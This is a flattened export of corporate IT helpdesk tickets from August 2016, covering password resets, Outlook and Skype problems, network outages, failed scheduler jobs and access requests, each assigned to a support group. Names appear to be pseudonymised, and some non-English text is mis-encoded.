job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/30/2016 01:10:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: i'm not able to login to skype communicator, Description: i'm not able to login to skype communicator, is assigned to Assignment group: GRP\_0.Ticket with Short description: please help me to set up skype conference calling feature on my company smart phone - i-phone, Description: name:nthryitin
language:
browser:netscape
email:dqwhpjxy.pozjxbey@gmail.com
customer number:
telephone:+760
summary:please help me to set up skype conference calling feature on my company smart phone - i-phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool quick search problem, Description: engineering tool quick search is not working ,it taking too much time to load the data. please sort out the issue aerp , is assigned to Assignment group: GRP\_11.Ticket with Short description: the HostName\_80 network connection lost at 9:05 am in apac time , the connection lost has been going on 10 minutes , Description: the HostName\_80 connection lost at 9:05 am , the connection has been going on 10 minutes ,could you check the reason ,, is assigned to Assignment group: GRP\_4.Ticket with Short description: users are unable to "open engg work bench, Description: unable to open engineering tool
all user in india plant (150 people)
no error message
contact no:- 221, is assigned to Assignment group: GRP\_25.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 08/29/2016 23:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 08/29/2016 23:18:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_394 failed in job\_scheduler at: 08/29/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_394 failed in job\_scheduler at: 08/29/2016 23:00:00, is assigned to Assignment group: GRP\_47.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 08/29/2016 22:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 08/29/2016 22:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: laptop ä»Žæ¡Œå­ä¸Šé¢æ‘”ä¸‹ï¼Œå¤–å£³æ‘”è£‚ï¼ŒçŽ°åœ¨ä¸èƒ½å¼€æœºã€‚, Description: laptop ä»Žæ¡Œå­ä¸Šé¢æ‘”ä¸‹ï¼Œå¤–å£³æ‘”è£‚ï¼ŒçŽ°åœ¨ä¸èƒ½å¼€æœºã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: ana pethrywrs call conference to hr support, Description: ana pethrywrs call conference to hr support, is assigned to Assignment group: GRP\_0.Ticket with Short description: wireless outage again-taiwan 0830, Description: \_x000D\_
\_x000D\_
received from: ticqvhal.vgokzesi@gmail.com\_x000D\_
\_x000D\_
hello~\_x000D\_
\_x000D\_
wireless(companysecure) outage of taiwan.\_x000D\_
please help~\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: é‚®ç®±ç™»å½•ä¸äº†, Description: æ˜¨å¤©æç¤ºæ›´æ”¹å¯†ç ï¼Œæ”¹å¥½åŽå¯ä»¥ç™»å½•ï¼Œä»Šå¤©ç™»å½•ä¸äº†ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: erp account password reset, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rakthyesh ramdntythanjesh
hi vhihrty
sndaofyw jetcxpda
hello
rakthyesh ramdntythanjesh
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_hana\_SID\_22\_os\_dly\_dp failed in job\_scheduler at: 08/29/2016 19:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_22\_os\_dly\_dp failed in job\_scheduler at: 08/29/2016 19:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: skype not working, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
agent did not answer. reassigning your interaction to another agent.\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hi shaungtyr\_x000D\_
gwptzvxm rhozsfty\_x000D\_
hi\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send mails, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
upcgxthj lnsvemxy\_x000D\_
hi, i cant send emails\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hi johthryu\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_hana\_SID\_61\_erp\_wky\_dp failed in job\_scheduler at: 08/29/2016 17:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_61\_erp\_wky\_dp failed in job\_scheduler at: 08/29/2016 17:51:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: s1 to k1 license- ujtmipzv.cwdzunxs@gmail.com, Description: s1 to k1 license, is assigned to Assignment group: GRP\_34.Ticket with Short description: guest wifi access for lefrte eafrtkin, Description: guest wifi access for lefrte eafrtkin, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to hear any audio from bluetooth headset through skype call, Description: unable to hear any audio from bluetooth headset through skype call, is assigned to Assignment group: GRP\_0.Ticket with Short description: pc restarting randomly. appears to be a possble os issue and/or virus, Description: pc restarting randomly. appears to be a possble os issue and/or virus, is assigned to Assignment group: GRP\_3.Ticket with Short description: ticket update on inplant\_855272, Description: ticket update on inplant\_855272, is assigned to Assignment group: GRP\_0.Ticket with Short description: vsp computer asset returns, Description:
received from: owhuxbnf.sxbgyrou@gmail.com
good afternoon,
field sales terminated employees -
doug bise and lance kappel returned their company computer and phone to me at the usx office. they are sitting in boxes next to my desk. please arrange to pick them up or let me know how to return them.
owhuxbnf sxbgyrou phr
hr manager, infrastructure
owhuxbnf.sxbgyrou@gmail.com<mailto:owhuxbnf.sxbgyrou@gmail.com>
, is assigned to Assignment group: GRP\_3.Ticket with Short description: would like added to the distribution list for job hr330. xszoedmc.gmhkdsnw@gmail.com 724 usa, Description: i was receiving job hr301a every monday morning up through and including monday, august 15 (see attached). i did not receive a report on 8/22 nor today. today a co-worker advised that report hr330 is now being issued. hr330 is needed to maintain usage of the purchasing contract management system. not sure why i was not added to the new job when it replaced hr301a. it was suggested i open this ticket to get on the distribution list for job hr330.\_x000D\_
, is assigned to Assignment group: GRP\_5.Ticket with Short description: user wants to update passwords using password manager link, Description: user wants to update passwords using password manager link, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_854272, Description: ticket update on inplant\_854272, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_855239, Description: ticket update on inplant\_855239, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: map network drives, Description: map network drives, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook freezes when trying to open a new email templet., Description: outlook freezes when trying to open a new email templet., is assigned to Assignment group: GRP\_0.Ticket with Short description: printer driver installation, Description: printer driver installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: msc not communicating with erp, Description: name:tmyeqika hfudpeot
language:
browser:microsoft internet explorer
email:lryturhy.galganski@yahoo.com
customer number:
telephone:216
summary:msc not communicating with erp, is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to login to collaboration\_platform site from home, Description: unable to login to collaboration\_platform site from home, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage at usa-usa since 08/29 2:00 am et. site is on primary circuit., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_ 08/29 2:00 am et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_yes\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: msc not communicating with erp, Description: orders picking confirmed in msc are not confirming as picked in erp. all orders are showing on erp as not confirmed yet., is assigned to Assignment group: GRP\_0.Ticket with Short description: us25- vdklzxqg jpaftdul 66942, Description:
received from: wvngzrca.sfmrzdth@gmail.com
please activate maintenance employee vdklzxqg jpaftdul 66942 email address. he is part of the maintenance group and will need email communications.
if i may be of further assistance please feel free to contact me at any time.
wvngzrca sfmrzdth, phr
human resources manager
wvngzrca.sfmrzdth@gmail.com<mailto:wvngzrca.sfmrzdth@gmail.com>
, is assigned to Assignment group: GRP\_34.Ticket with Short description: ad password reset, Description: ad password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze6 failed in job\_scheduler at: 08/29/2016 14:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze6 failed in job\_scheduler at: 08/29/2016 14:02:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to open outlook after changing the password, Description: unable to open outlook after changing the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working, Description: outlook not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open ess page from home pc(win10), Description: unable to open ess page from home pc(win10), is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool site will not recognize email address after windows 2016 upgrade., Description: tried entering into hr\_tool site, but cannot enter because of email address. it did not change, but windows version upgrade from 2010 to 2016., is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool etime screen will not open to request vacation/time off., Description: xszoedmc gmhkdsnw, 724, hr\_tool etime. blank screen comes up when trying to access. screen shot attached., is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call //gso, Description: blank call //gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open engineering\_engineering\_tools from online. , Description: unable to open engineering\_engineering\_tools from online, files which were zipped, is assigned to Assignment group: GRP\_25.Ticket with Short description: expense report not working, Description: when trying to create an expense report in ess i get the following error: "infortype '0017' for 08/29/2016 does not exist for pers. no." i've unlocked my personnel number and nothing changes. , is assigned to Assignment group: GRP\_68.Ticket with Short description: caller wanted to speak to email server admin, as one of his email his companys email is blocked by company., Description: caller wanted to speak to email server admin, as one of his email his company's email is blocked by company.\_x000D\_
helped user with it email address help@ company.com and asked to send email with screenshot., is assigned to Assignment group: GRP\_0.Ticket with Short description: e-mail question, Description: \_x000D\_
\_x000D\_
received from: anpocezt.qturbxsg@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
i would like to put a ribbon on the bottom of some my e-mail with the attached information, who can i go to for help.\_x000D\_
i would like to make an extra signature with my name (below) and then add the information between my e-mail address and company address.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call: did not receive any response from other side., is assigned to Assignment group: GRP\_0.Ticket with Short description: office is not licensed, Description: office is not licensed, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze5 failed in job\_scheduler at: 08/29/2016 12:49:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze5 failed in job\_scheduler at: 08/29/2016 12:49:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: need to map printer, Description: need to map printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte um rÃ¼ckruf morgen um 7 uhr 30 mitteleuropÃ¤ischer zeit , Description:
received from: ptuchwad.yzvrlcqa@gmail.com
grund: mit neueinstellung outlock 2016 geht vieles nicht mehr
mit freundlichen grÃ¼ssen
-uwe schrÃ¶ck
technische beratung und verkauf
ptuchwad.yzvrlcqa@gmail.com<mailto:ptuchwad.yzvrlcqa@gmail.com>
company deutschland gmbh
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq
sitz der gesellschaft: germany/hgermany â€“ registergerirtcht: bad homburg/hgermany hrb 7492
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue : SID\_34 access: user id has got locked: kundegty, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34\_x000D\_
\_x000D\_
enter user id of user having the issue:kundegty\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with:\_x000D\_
\_x000D\_
describe the issue: id got locked. please release.\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze4 failed in job\_scheduler at: 08/29/2016 12:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze4 failed in job\_scheduler at: 08/29/2016 12:30:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: tool performance database, Description: please deactivate userid kroetzer in engineering\_tool database, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to see expense report 2111137500 , Description: from: proygkjt mwetuhqf
sent: sunday, august 28, 2016 7:11 pm
to: nwfodmhc exurcwkm
cc: ifblxjmc dyrgfwbm; callie pollaurid
subject: re: expense report 2111137500 has been submitted.
jeffrghryeytyf strigtyet submitted his expenses below but it did not show up as a task for me to approve in the ess portal. i've approved three other employees. two before jeffrghryey submitted his and one after. please identify why jeffrghryey's expense submittal did not show up in my system to approve. i received the workflow email that he did submit.
-----original message-----
from: workflow system [mailto:wf-batch@company.com]
sent: friday, august 26, 2016 6:14 pm
to: proygkjt mwetuhqf <proygkjt.mwetuhqf@gmail.com>
subject: expense report 2111137500 has been submitted.
the following expense report has been submitted for your approval:
personnel no.: 1215619280 (jeffrghryeyrghryey a strgrtyiet)
expense report no.: 2111137500
start date: 25.07.2016 08:00:00
end date: 24.08.2016 17:00:00
total costs: usd 1.141,89
reimbursement amount: usd 1.141,89
to review this expense report in full, please log into your universal worklist on manager self-service.
, is assigned to Assignment group: GRP\_20.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze3 failed in job\_scheduler at: 08/29/2016 12:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze3 failed in job\_scheduler at: 08/29/2016 12:15:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: zdsxmcwu thdjzolwronization issue , Description: zdsxmcwu thdjzolwronization issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze2 failed in job\_scheduler at: 08/29/2016 12:07:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze2 failed in job\_scheduler at: 08/29/2016 12:07:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: outlook crashing : msd crm outlook issue , Description: outlook crashing : msd crm outlook issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook freezing frequently, Description: user called in for an issue where his outlook was freezing frequently. , is assigned to Assignment group: GRP\_3.Ticket with Short description: add im:mfg\_planner\_reference to the miiadmin erp SID\_34 and SID\_1 ids., Description: add im:mfg\_planner\_reference to the miiadmin erp SID\_34 and SID\_1 ids. this is needed so the system will automatically backflush and close the production order. , is assigned to Assignment group: GRP\_2.Ticket with Short description: acces to SID\_1, Description:
received from: aiobpkzm.rmfjwtpl@gmail.com
hi i need access to SID\_1 could you please help me
[cid:image001.png@01d201e3.deee0330]
saludos !!!
jorghge ramdntyfon abrurto tsantamaria.
supervisor credit & ar finance.
aiobpkzm.rmfjwtpl@gmail.com<mailto:aiobpkzm.rmfjwtpl@gmail.com>.
[cid:image004.jpg@01cfa5c4.9dSID\_35e40]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook and skype, Description: name:phil schoenfeld
language:
browser:microsoft internet explorer
email:iotudrxg.odpcwvez@gmail.com
customer number:
telephone:330
summary:can not open outlook and can not sign into skype for business, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to mii, Description: unable to log in to mii, is assigned to Assignment group: GRP\_0.Ticket with Short description: keybankrd, Description: \_x000D\_
\_x000D\_
received from: qscdktvl.rihendxu@gmail.com\_x000D\_
\_x000D\_
could i please have a new keybankrd. my letters are worn off the one i have.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: vip 2 please add luis revilla to the group ltaballallcompanycm to access reporting\_engineering\_tools, Description:
received from: tivbxojn.gorlajmp@gmail.com
nicrhty pfgyhtu
vice president, indirect sales
industrial business segment
tivbxojn.gorlajmp@gmail.com<mailto:tivbxojn.gorlajmp@gmail.com>
, is assigned to Assignment group: GRP\_2.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: companyguest access, Description: name:erirtc
language:
browser:microsoft internet explorer
email:dabhruji
customer number:
telephone:724
summary:
hi erirtc,
wifi access for the following is not working:
dtbycsgf vfdglqnp
saztolpx xqgovpik, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze failed in job\_scheduler at: 08/29/2016 11:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze failed in job\_scheduler at: 08/29/2016 11:04:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: outlook freezes., Description: outlook freezes., is assigned to Assignment group: GRP\_0.Ticket with Short description: company iphone, Description: from: aorthyme rnsuipbk
sent: monday, august 29, 2016 8:34 pm
to: badgknqs xwelumfz
subject: company iphone
hi pollaurid,
this is regarding your mobile phone that needs to changed.
please call vendor at this number 999.
this should be the best choice to get the issue fixed.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: subject: account information updated from uperform : spam queries, Description: subject: account information updated from uperform : spam queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load crm add in on outlook , Description: unable to load crm add in on outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: subject: account information updated from uperform : spam querries, Description: subject: account information updated from uperform : spam queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: mobile device activation company device, is assigned to Assignment group: GRP\_0.Ticket with Short description: send function is not working. (outlook 2010), Description: send function is not working. (outlook 2010), is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is not working., Description: outlook is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request by ughzilfm cfibdamq., Description: password reset request by ughzilfm cfibdamq., is assigned to Assignment group: GRP\_0.Ticket with Short description: accounts erstellen bitte, Description: von: gogtyekhan merdivan
gesendet: montag, 29. august 2016 11:45
an: ughzilfm cfibdamq
betreff: accounts erstellen bitte
hallo ,
bitte accounts erstellen fÃ¼r 3 mitarbeiter.
ujtmipzv cwdzunxs, xaqzisrk ahbgjrqz, fyedqgzt jdqvuhlr.
diese mitarbeiter haben noch kein anmeldeaccount.
mit freundlichen grÃ¼ÃŸen
b.eng. qidgvtwa qvbutayx
leitung strahlen / supervisor blasting
qidgvtwa.qvbutayx@gmail.com
geschÃ¤ftsfÃ¼hrer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq
sitz/registered office: germany - registergerirtcht/listed in the court register
persÃ¶nlich haftende gesellschafterin/general partner: company company beteiligungs gmbh
sitz/registered office: fÃ¼rth/bay. - registergerirtcht/listed in the court regster
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select the following link to view the disclaimer in an alternate language.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need the bex analysis add-in, Description: need the bex analysis add-in, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_50.Ticket with Short description: failed skype mtg., Description: \_x000D\_
\_x000D\_
received from: yiramdntyjqc.qtrcepsa@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
i tried to join a s&op forecasting training session today but could not see the presenter's screen. below is the link, the training has been rescheduled for this coming friday. is there anything i can check before friday to insure i don't have this problem again?\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: adding members to shared mailbox groups, Description: adding members to the shared mailbox group, is assigned to Assignment group: GRP\_0.Ticket with Short description: prtgghj4k and SID\_67 password reset, Description: unable to login to prtgghj4k and SID\_67 systems, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working., Description: wifi not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: need initial password reset for erp prtgghj4k (hr\_tool) module, Description: need initial password reset for erp prtgghj4k (hr\_tool) module, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to login to erp SID\_34, Description: unable to login to erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop will not turn on, either docked or un-docked while connected to ac or just on battery., Description: laptop will not turn on, either docked or un-docked while connected to ac or just on battery., is assigned to Assignment group: GRP\_3.Ticket with Short description: once external monitor is not working and the other is flickering., Description: once external monitor is not working and the other is flickering., is assigned to Assignment group: GRP\_3.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: laufzeitfehler bei hrp (hcm production), Description: folgender fehler ist bei der erstellung der zeitnachweise aufgetreten: siehe anhang
alle ferienarbeiter bzw. randstad-mitarbeiter sind nur bis einschlieÃŸlich donnerstag, den 25.08.16 im system.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook hangs., Description: outlook hangs., is assigned to Assignment group: GRP\_0.Ticket with Short description: users in usa plant code plant\_241 northgate are unable to see companyguest network., Description: users in usa plant code plant\_241 northgate are unable to see companyguest network. this is on phone as well as laptop.
phone: 724, is assigned to Assignment group: GRP\_4.Ticket with Short description: dmitazhw kxbifzoh : lock out , Description: dmitazhw kxbifzoh : lock out \_x000D\_
mii system, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_855076, Description: ticket update on inplant\_855076, is assigned to Assignment group: GRP\_0.Ticket with Short description: we don't able to insert money value in crm's authorization return, Description: we don't able to insert money value in crm's authorization return, is assigned to Assignment group: GRP\_13.Ticket with Short description: unable to connect to vpn., Description: unable to connect to vpn., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_37 issue , Description: 800
summary:need help gaining access to a query in SID\_37. i can get into SID\_37, i can get into be analyzer, i can find the query name i am looking for (csr quote count) but when i try to open it i get a error message that reads: a critical programdnty error has occurred. the programdnty will now terminate. i need access this week for training that i have scheduled, is assigned to Assignment group: GRP\_0.Ticket with Short description: login help to : hub, Description: login help to : hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: please remove security role z:comp\_sales\_rep from user matghyuthdw (dthyan matheywtyuews), Description: please remove security role z:comp\_sales\_rep from user matghyuthdw (dthyan matheywtyuews). action needs to be taken immediately as it causing a security breach. please assign ticket to sudghhahjkkar reddy., is assigned to Assignment group: GRP\_2.Ticket with Short description: reset the password for btelgpcx nrlfhbmu on erp / production / erp, Description: reset the password for btelgpcx nrlfhbmu on erp / production / erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1294 (bia - search\_server) : multiple process went down since at 8:23 am et on 08/29., Description: search\_serverrfcserver2\_x000D\_
search\_serverindexserver\_x000D\_
search\_servernameserver\_x000D\_
trx.erpSID\_63\_trx0, is assigned to Assignment group: GRP\_14.Ticket with Short description: new password not updating in the windows, Description: new password not updating in the windows, is assigned to Assignment group: GRP\_0.Ticket with Short description: system frozen on startup, Description: system frozen on startup, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to view hr\_tool global view and crm on collaboration\_platform, Description: unable to view hr\_tool global view and crm on collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype not working, Description:
received from: yzugpdco.nsyapewg@gmail.com
hello team,
just to inform that skype is not working from my pc
yzugpdco nsyapewg
director sales, company
europe,
yzugpdco.nsyapewg@gmail.com<mailto:yzugpdco.nsyapewg@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: hdmi cable to meeting room , Description:
received from: inxsupmy.zhwmifvx@gmail.com
hello team ,
please arrange the hdmi cable to all the meeting room to connect the projector .since most of the new laptop are hdmi dependent where we are unable to connect via the current cable and we always depend it ,sometime it might be onsite in that case it's very difficult
inxsupmy zhwmifvx
team lead - ssl (sourcing & logistics)
inxsupmy.zhwmifvx@gmail.com
, is assigned to Assignment group: GRP\_19.Ticket with Short description: vpn access, Description:
received from: troxyekl.lzdvgwut@gmail.com
hello,
please usa access to the eu vpn for user xfuqovkd efsdciut (seefgrtybum) and atydjkwl sotmfcga (vvrtgwildj)
, is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/29/2016 08:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/29/2016 08:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to open opportunities in crm online, Description: unable to open opportunities in crm online. user was able to do it a week back but now its showing access is denied., is assigned to Assignment group: GRP\_40.Ticket with Short description: password reset : password\_management\_tool password manager., Description: password reset : password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: open order schedule lines\_p2016-08-28-22-03-54, Description: hallo ruchitgrr, hallo frau haug,
leider enthÃ¤lt dieser report nur meine tsk positionen.
entsprechend der beschreibung sollte mein gesamtes verkaufsgebiet ( alle ad?) abgebildet sein
gruÃŸ
anivdcor rbmfhiox
sales manager
sales germany
anivdcor.rbmfhiox@gmail.com
company deutschland gmbh
-----ursprÃ¼ngliche nachricht-----
von: .erp-bo-publications@company.com [mailto:.erp-bo-publications@company.com]
gesendet: montag, 29. august 2016 04:58
an: anivdcor rbmfhiox <anivdcor.rbmfhiox@gmail.com>
betreff: open order schedule lines\_p2016-08-28-22-03-54
hello.
this report is your weekly open order schedule lines report. it lists all scheduled delivery dates for open orders for your customers.
it is expected that you will use this report to effectively manage your sales territory.
if you have any questions with regard to the report please contact your regional sales operational excellence lead.
how to read this report
all scheduled order items are listed on the report. the columns with the purple field names show total values for that line on the order, and should not be added together. these total values will appear on every scheduled line. in the example below, a line item has a total quantity ordered = 10 pieces and three scheduled deliveries of 1, 2 and 7 pieces. the report will repeat the total quantity ordered = 10 on every schedule line:
order nbr item nbr create date qty sched value sched date sched unit price qty order
blue\_\_\_\_\_ blue\_\_\_\_ blue\_\_\_\_\_\_\_ blue\_\_\_\_\_ blue\_\_\_\_\_\_\_ blue\_\_\_\_\_\_ blue\_\_\_\_\_\_ purple\_\_\_
23456789 20 6/12/2013 1 $5 6/15/2013 $5.00 10
23456789 20 6/12/2013 2 $10 6/22/2013 $5.00 10
23456789 20 6/12/2013 7 $35 6/29/2013 $5.00 10
please do not reply directly to the sender of this mail
, is assigned to Assignment group: GRP\_9.Ticket with Short description: outlook inbox updating, Description:
received from: xfdkwusj.gyklresa@gmail.com
hello
since this morning outlook is "updating" my inbox (see image of message)
[cid:image001.jpg@01d201ff.842dd490]
bad thing it is sucking out my bandwidth and slow my connection;
also - when i went in pasue for lunch it was at 3,6 gb left, after i returned it started again from 3,99 gbâ€¦
xfdkwusj gyklresa
sales manager earthworks european served area - south
xfdkwusj.gyklresa@gmail.com<mailto:xfdkwusj.gyklresa@gmail.com>
please note our new telephone number and company address effective 22.08.2016.
